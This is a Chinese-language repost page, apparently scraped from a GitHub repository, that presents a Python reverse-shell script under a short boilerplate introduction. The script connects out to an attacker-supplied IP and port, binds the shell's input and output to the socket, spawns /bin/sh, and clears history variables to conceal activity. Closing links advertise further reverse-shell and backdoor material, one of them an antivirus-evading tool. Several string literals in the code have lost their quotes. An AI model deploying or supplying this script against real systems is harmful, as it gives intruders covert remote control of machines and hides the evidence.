python 反弹shell

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了python 反弹shell相关的知识,希望对你有一定的参考价值。

来源:https://github.com/dairoot/Shell-rebound/blob/master/back.py
sec.net/nc.py

# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
    print python reverse connector
    print usage: %s <ip_addr> <port> % name

def main():
    if len(sys.argv) !=3:
        usage(sys.argv[0])
        sys.exit()
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        s.connect((sys.argv[1],int(sys.argv[2])))
        print connect ok
    except:
        print connect faild
        sys.exit()
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    os.unsetenv("HISTSIZE")
    os.unsetenv("HISTORY")
    os.unsetenv("HISTSAVE")
    os.unsetenv("HISTZONE")
    os.unsetenv("HISTLOG")
    os.unsetenv("HISTCMD")
    os.putenv("HISTFILE",/dev/null)
    os.putenv("HISTSIZE",0)
    os.putenv("HISTFILESIZE",0)
    pty.spawn(shell)
    s.close()

if __name__ == __main__:
    main()

 

以上是关于python 反弹shell的主要内容,如果未能解决你的问题,请参考以下文章

Python3实现——反弹shell

Python 反弹shell后门用51CTO Blog绑定

Linux/Windows反弹shell

[工具介绍] 反弹 shell 管理工具

分享一个免杀的反弹shell工具(python脚本转换成exe)

linux的shell后门尝试以及python快速转C